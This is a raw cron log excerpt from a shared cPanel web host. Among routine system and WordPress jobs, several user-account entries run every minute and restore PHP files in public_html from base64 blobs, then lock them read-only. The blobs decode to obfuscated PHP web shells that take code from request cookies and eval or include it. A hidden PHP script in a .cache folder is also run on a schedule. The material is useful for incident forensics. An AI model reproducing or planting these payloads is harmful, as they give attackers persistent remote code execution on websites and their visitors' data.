Mar  1 20:56:01 medusa CROND[1589]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 20:56:01 medusa CROND[1590]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:56:01 medusa CROND[1591]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 20:56:01 medusa CROND[1593]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 20:56:01 medusa CROND[1594]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 20:56:01 medusa CROND[1595]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 20:56:01 medusa CROND[1596]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 20:56:01 medusa CROND[1599]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:56:01 medusa CROND[1602]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:56:01 medusa CROND[1604]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 20:56:01 medusa CROND[1608]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 20:56:01 medusa CROND[1606]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:56:01 medusa CROND[1612]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 20:56:01 medusa CROND[1617]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 20:57:01 medusa CROND[21016]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 20:57:01 medusa CROND[21222]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 20:57:01 medusa CROND[21223]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 20:57:01 medusa CROND[21224]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 20:57:01 medusa CROND[21225]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 20:57:01 medusa CROND[21229]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:57:01 medusa CROND[21231]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:57:01 medusa CROND[21234]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 20:57:01 medusa CROND[21235]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 20:57:01 medusa CROND[21240]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 20:57:01 medusa CROND[21241]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:57:01 medusa CROND[21242]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:58:01 medusa CROND[8003]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 20:58:01 medusa CROND[8251]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 20:58:01 medusa CROND[8254]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 20:58:01 medusa CROND[8255]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 20:58:01 medusa CROND[8256]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 20:58:01 medusa CROND[8252]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 20:58:01 medusa CROND[8261]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 20:58:01 medusa CROND[8262]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
